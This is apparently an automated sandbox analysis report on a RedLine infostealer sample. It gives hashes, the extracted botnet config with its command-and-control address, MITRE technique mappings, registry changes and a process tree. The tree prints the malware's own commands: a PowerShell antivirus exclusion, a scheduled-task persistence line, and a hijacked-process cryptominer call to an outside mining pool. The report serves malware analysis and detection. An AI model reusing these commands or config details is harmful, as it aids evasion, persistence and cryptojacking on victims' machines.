redline | d093cc2e257699ebf02497e30b6c5590ef100f44a7d692d2cac83f0a813985b5

Analysis

max time kernel
76s
max time network
159s
platform
windows7_x64
resource
win7-20221111-en
resource tags

arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
submitted
04/01/2023, 01:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
file.exe
Size 1.6MB
Sample230104-cdvfqsgh2v
SHA256 d093cc2e257699ebf02497e30b6c5590ef100f44a7d692d2cac83f0a813985b5
MD5 ee67ea6b81a0859cbdea2c1a8c689c40
SHA1 e4425ab917e028be1a349384f4dce4c0eee1f72a
SHA512 4ef11812363009c8303d2385f08e666c4e9fbe55413577e743350f427794a3663fdae1a2b4d98771ee5f6359c41adec50f10cf733a40a907f1b448bcd3568c99
SSDEEP 24576:UhhhzB/Aw/ApXK/31YoHvEHPGc6v7FvXeAqyKeTRMgLB0rqXxTLhBktOK+HoD5PD:UhhhdFo+YaEH7asynFMCCqBTotOKp9
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

redline givememygun infostealer spyware

Malware Config

Extracted

Family

redline

Botnet

GIVEMEMYGUN

193.233.49.83:3321

Attributes

auth_value
862b38f54d952bd9a16b1945a039305a

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline
Downloads MZ/PE file

Executes dropped EXE 2 IoCs

pid	Process
1056	ghoul.exe
1428	Program.exe

Loads dropped DLL 6 IoCs

pid	Process
1120	file.exe
1772	WerFault.exe
1772	WerFault.exe
1772	WerFault.exe
1772	WerFault.exe
1772	WerFault.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1428 set thread context of 792	1428	Program.exe	37
PID 1056 set thread context of 1572	1056	ghoul.exe	38

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1772	1056	WerFault.exe	28

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1632	schtasks.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	ghoul.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	ghoul.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
268	powershell.exe
1056	ghoul.exe
792	AppLaunch.exe
792	AppLaunch.exe
1056	ghoul.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1056	ghoul.exe
Token: SeDebugPrivilege	268	powershell.exe
Token: SeDebugPrivilege	792	AppLaunch.exe

Suspicious use of WriteProcessMemory 47 IoCs

description	pid	Process	procid_target
PID 1120 wrote to memory of 1056	1120	file.exe	28
PID 1120 wrote to memory of 1056	1120	file.exe	28
PID 1120 wrote to memory of 1056	1120	file.exe	28
PID 1120 wrote to memory of 1056	1120	file.exe	28
PID 1056 wrote to memory of 268	1056	ghoul.exe	29
PID 1056 wrote to memory of 268	1056	ghoul.exe	29
PID 1056 wrote to memory of 268	1056	ghoul.exe	29
PID 1056 wrote to memory of 1880	1056	ghoul.exe	31
PID 1056 wrote to memory of 1880	1056	ghoul.exe	31
PID 1056 wrote to memory of 1880	1056	ghoul.exe	31
PID 1880 wrote to memory of 1632	1880	cmd.exe	33
PID 1880 wrote to memory of 1632	1880	cmd.exe	33
PID 1880 wrote to memory of 1632	1880	cmd.exe	33
PID 1056 wrote to memory of 1428	1056	ghoul.exe	34
PID 1056 wrote to memory of 1428	1056	ghoul.exe	34
PID 1056 wrote to memory of 1428	1056	ghoul.exe	34
PID 1056 wrote to memory of 1428	1056	ghoul.exe	34
PID 1428 wrote to memory of 792	1428	Program.exe	37
PID 1428 wrote to memory of 792	1428	Program.exe	37
PID 1428 wrote to memory of 792	1428	Program.exe	37
PID 1428 wrote to memory of 792	1428	Program.exe	37
PID 1428 wrote to memory of 792	1428	Program.exe	37
PID 1428 wrote to memory of 792	1428	Program.exe	37
PID 1428 wrote to memory of 792	1428	Program.exe	37
PID 1428 wrote to memory of 792	1428	Program.exe	37
PID 1428 wrote to memory of 792	1428	Program.exe	37
PID 1056 wrote to memory of 1572	1056	ghoul.exe	38
PID 1056 wrote to memory of 1572	1056	ghoul.exe	38
PID 1056 wrote to memory of 1572	1056	ghoul.exe	38
PID 1056 wrote to memory of 1572	1056	ghoul.exe	38
PID 1056 wrote to memory of 1572	1056	ghoul.exe	38
PID 1056 wrote to memory of 1572	1056	ghoul.exe	38
PID 1056 wrote to memory of 1572	1056	ghoul.exe	38
PID 1056 wrote to memory of 1572	1056	ghoul.exe	38
PID 1056 wrote to memory of 1572	1056	ghoul.exe	38
PID 1056 wrote to memory of 1572	1056	ghoul.exe	38
PID 1056 wrote to memory of 1572	1056	ghoul.exe	38
PID 1056 wrote to memory of 1572	1056	ghoul.exe	38
PID 1056 wrote to memory of 1572	1056	ghoul.exe	38
PID 1056 wrote to memory of 1572	1056	ghoul.exe	38
PID 1056 wrote to memory of 1572	1056	ghoul.exe	38
PID 1572 wrote to memory of 1928	1572	vbc.exe	39
PID 1572 wrote to memory of 1928	1572	vbc.exe	39
PID 1572 wrote to memory of 1928	1572	vbc.exe	39
PID 1056 wrote to memory of 1772	1056	ghoul.exe	41
PID 1056 wrote to memory of 1772	1056	ghoul.exe	41
PID 1056 wrote to memory of 1772	1056	ghoul.exe	41

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1120
- C:\Users\Admin\AppData\Local\Temp\ghoul.exe
  "C:\Users\Admin\AppData\Local\Temp\ghoul.exe" hvasjw34favaawhnb68
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Modifies system certificate store
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1056
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:268
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PSOBPDL" /tr "C:\ProgramData\Microsoft\PSOBPDL.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1880
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "PSOBPDL" /tr "C:\ProgramData\Microsoft\PSOBPDL.exe"
      4⤵
      Creates scheduled task(s)
      PID:1632
- - C:\Users\Admin\AppData\Roaming\Program.exe
    "C:\Users\Admin\AppData\Roaming\Program.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:1428
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:792
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -a verus -o stratum+tcp://na.luckpool.net:3956 -u RAiXn2Cm9gBmXtWE1r43sAskTm6LNhULcE.worker -p x -t 4
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1572
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      4⤵
      PID:1928
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 1056 -s 596
    3⤵
    - Loads dropped DLL
    - Program crash
    PID:1772

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Install Root Certificate

T1130

Modify Registry

T1112

Scripting

T1064

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ghoul.exe

Path C:\Users\Admin\AppData\Local\Temp\ghoul.exe
Size 935KB
SHA256 cc5b339899f4a126853d0fcffd70c971400ee5049c5d1c1fe881033c2d2f1b0b
MD5 ab99beb3f8c06723ed7bda90e5065901
SHA1 c576d7a71695be459ed0064cc412d45bfab64d04
SHA512 b69fe2e3a6bd7b06b54c617827978fb9bb70da42f27ebe006d32988015097d429b60aafdbd4f668d0dccdde0b40101f87942c11594c211da5a2b2d13ed828854
SSDEEP 12288:jKTmqwTZrkTwuhitIFeOBohHwdY7P+P3QHfgigFSgFTHOdt:jKTmzTgwdVOBGz+P3Q/g+
MD5 SHA1 SHA512 SSDEEP

Submit Download

ghoul.exe

Path C:\Users\Admin\AppData\Local\Temp\ghoul.exe
Size 935KB
SHA256 cc5b339899f4a126853d0fcffd70c971400ee5049c5d1c1fe881033c2d2f1b0b
MD5 ab99beb3f8c06723ed7bda90e5065901
SHA1 c576d7a71695be459ed0064cc412d45bfab64d04
SHA512 b69fe2e3a6bd7b06b54c617827978fb9bb70da42f27ebe006d32988015097d429b60aafdbd4f668d0dccdde0b40101f87942c11594c211da5a2b2d13ed828854
SSDEEP 12288:jKTmqwTZrkTwuhitIFeOBohHwdY7P+P3QHfgigFSgFTHOdt:jKTmzTgwdVOBGz+P3Q/g+
MD5 SHA1 SHA512 SSDEEP

Submit Download

Program.exe

Path C:\Users\Admin\AppData\Roaming\Program.exe
Size 266KB
SHA256 47079d77283f2a49dff6f073e1612e23454dcca1235d7c74fbf56b7730d87284
MD5 1c26d22dc1fe8afb79d9ba5987f47dcd
SHA1 025b02c610b6dceb8204a34d70837813685fed85
SHA512 beb70e71cd4616759b373370ab553edbc66e67468f443f0c877a501ccf2c2ac3d565c67ebf4933fceaa483a6eb1af1e582b778a9105981b1c951976733a06918
SSDEEP 3072:9SmIOrYJlyQ5iNjQr/H411dOb4A24Ra25eXqC4Kj+0Dhv3UIuY5MS0vAE:9DIMYh4KY11Q4A21EeXRj+I+wMS0v
MD5 SHA1 SHA512 SSDEEP

Submit Download

ghoul.exe

Path \Users\Admin\AppData\Local\Temp\ghoul.exe
Size 935KB
SHA256 cc5b339899f4a126853d0fcffd70c971400ee5049c5d1c1fe881033c2d2f1b0b
MD5 ab99beb3f8c06723ed7bda90e5065901
SHA1 c576d7a71695be459ed0064cc412d45bfab64d04
SHA512 b69fe2e3a6bd7b06b54c617827978fb9bb70da42f27ebe006d32988015097d429b60aafdbd4f668d0dccdde0b40101f87942c11594c211da5a2b2d13ed828854
SSDEEP 12288:jKTmqwTZrkTwuhitIFeOBohHwdY7P+P3QHfgigFSgFTHOdt:jKTmzTgwdVOBGz+P3Q/g+
MD5 SHA1 SHA512 SSDEEP

Submit Download

ghoul.exe

Path \Users\Admin\AppData\Local\Temp\ghoul.exe
Size 935KB
SHA256 cc5b339899f4a126853d0fcffd70c971400ee5049c5d1c1fe881033c2d2f1b0b
MD5 ab99beb3f8c06723ed7bda90e5065901
SHA1 c576d7a71695be459ed0064cc412d45bfab64d04
SHA512 b69fe2e3a6bd7b06b54c617827978fb9bb70da42f27ebe006d32988015097d429b60aafdbd4f668d0dccdde0b40101f87942c11594c211da5a2b2d13ed828854
SSDEEP 12288:jKTmqwTZrkTwuhitIFeOBohHwdY7P+P3QHfgigFSgFTHOdt:jKTmzTgwdVOBGz+P3Q/g+
MD5 SHA1 SHA512 SSDEEP

Submit Download

ghoul.exe

Path \Users\Admin\AppData\Local\Temp\ghoul.exe
Size 935KB
SHA256 cc5b339899f4a126853d0fcffd70c971400ee5049c5d1c1fe881033c2d2f1b0b
MD5 ab99beb3f8c06723ed7bda90e5065901
SHA1 c576d7a71695be459ed0064cc412d45bfab64d04
SHA512 b69fe2e3a6bd7b06b54c617827978fb9bb70da42f27ebe006d32988015097d429b60aafdbd4f668d0dccdde0b40101f87942c11594c211da5a2b2d13ed828854
SSDEEP 12288:jKTmqwTZrkTwuhitIFeOBohHwdY7P+P3QHfgigFSgFTHOdt:jKTmzTgwdVOBGz+P3Q/g+
MD5 SHA1 SHA512 SSDEEP

Submit Download

ghoul.exe

Path \Users\Admin\AppData\Local\Temp\ghoul.exe
Size 935KB
SHA256 cc5b339899f4a126853d0fcffd70c971400ee5049c5d1c1fe881033c2d2f1b0b
MD5 ab99beb3f8c06723ed7bda90e5065901
SHA1 c576d7a71695be459ed0064cc412d45bfab64d04
SHA512 b69fe2e3a6bd7b06b54c617827978fb9bb70da42f27ebe006d32988015097d429b60aafdbd4f668d0dccdde0b40101f87942c11594c211da5a2b2d13ed828854
SSDEEP 12288:jKTmqwTZrkTwuhitIFeOBohHwdY7P+P3QHfgigFSgFTHOdt:jKTmzTgwdVOBGz+P3Q/g+
MD5 SHA1 SHA512 SSDEEP

Submit Download

ghoul.exe

Path \Users\Admin\AppData\Local\Temp\ghoul.exe
Size 935KB
SHA256 cc5b339899f4a126853d0fcffd70c971400ee5049c5d1c1fe881033c2d2f1b0b
MD5 ab99beb3f8c06723ed7bda90e5065901
SHA1 c576d7a71695be459ed0064cc412d45bfab64d04
SHA512 b69fe2e3a6bd7b06b54c617827978fb9bb70da42f27ebe006d32988015097d429b60aafdbd4f668d0dccdde0b40101f87942c11594c211da5a2b2d13ed828854
SSDEEP 12288:jKTmqwTZrkTwuhitIFeOBohHwdY7P+P3QHfgigFSgFTHOdt:jKTmzTgwdVOBGz+P3Q/g+
MD5 SHA1 SHA512 SSDEEP

Submit Download

ghoul.exe

Path \Users\Admin\AppData\Local\Temp\ghoul.exe
Size 935KB
SHA256 cc5b339899f4a126853d0fcffd70c971400ee5049c5d1c1fe881033c2d2f1b0b
MD5 ab99beb3f8c06723ed7bda90e5065901
SHA1 c576d7a71695be459ed0064cc412d45bfab64d04
SHA512 b69fe2e3a6bd7b06b54c617827978fb9bb70da42f27ebe006d32988015097d429b60aafdbd4f668d0dccdde0b40101f87942c11594c211da5a2b2d13ed828854
SSDEEP 12288:jKTmqwTZrkTwuhitIFeOBohHwdY7P+P3QHfgigFSgFTHOdt:jKTmzTgwdVOBGz+P3Q/g+
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/268-62-0x000007FEFB8E1000-0x000007FEFB8E3000-memory.dmp

Download

memory/268-63-0x000007FEECF10000-0x000007FEED933000-memory.dmp

Download

memory/268-65-0x0000000002824000-0x0000000002827000-memory.dmp

Download

memory/268-64-0x000007FEEC3B0000-0x000007FEECF0D000-memory.dmp

Download

memory/268-66-0x000000001B760000-0x000000001BA5F000-memory.dmp

Download

memory/268-70-0x0000000002824000-0x0000000002827000-memory.dmp

Download

memory/268-71-0x000000000282B000-0x000000000284A000-memory.dmp

Download

memory/792-82-0x0000000000090000-0x00000000000C8000-memory.dmp

Download

memory/792-74-0x0000000000090000-0x00000000000C8000-memory.dmp

Download

memory/792-76-0x0000000000090000-0x00000000000C8000-memory.dmp

Download

memory/792-83-0x0000000000090000-0x00000000000C8000-memory.dmp

Download

memory/1056-60-0x0000000000010000-0x00000000000FE000-memory.dmp

Download

memory/1120-54-0x0000000000D00000-0x0000000000E96000-memory.dmp

Download

memory/1120-55-0x0000000075291000-0x0000000075293000-memory.dmp

Download

memory/1572-96-0x0000000140000000-0x00000001400C6000-memory.dmp

Download

memory/1572-100-0x0000000140000000-0x00000001400C6000-memory.dmp

Download

memory/1572-93-0x0000000140000000-0x00000001400C6000-memory.dmp

Download

memory/1572-94-0x0000000140000000-0x00000001400C6000-memory.dmp

Download

memory/1572-95-0x0000000140000000-0x00000001400C6000-memory.dmp

Download

memory/1572-90-0x0000000140000000-0x00000001400C6000-memory.dmp

Download

memory/1572-97-0x0000000140000000-0x00000001400C6000-memory.dmp

Download

memory/1572-99-0x0000000140000000-0x00000001400C6000-memory.dmp

Download

memory/1572-91-0x0000000140000000-0x00000001400C6000-memory.dmp

Download

memory/1572-103-0x0000000140000000-0x00000001400C6000-memory.dmp

Download

memory/1572-85-0x0000000140000000-0x00000001400C6000-memory.dmp

Download

memory/1572-105-0x0000000140000000-0x00000001400C6000-memory.dmp

Download

memory/1572-106-0x0000000140000000-0x00000001400C6000-memory.dmp

Download

memory/1572-86-0x0000000140000000-0x00000001400C6000-memory.dmp

Download

memory/1572-88-0x0000000140000000-0x00000001400C6000-memory.dmp

Download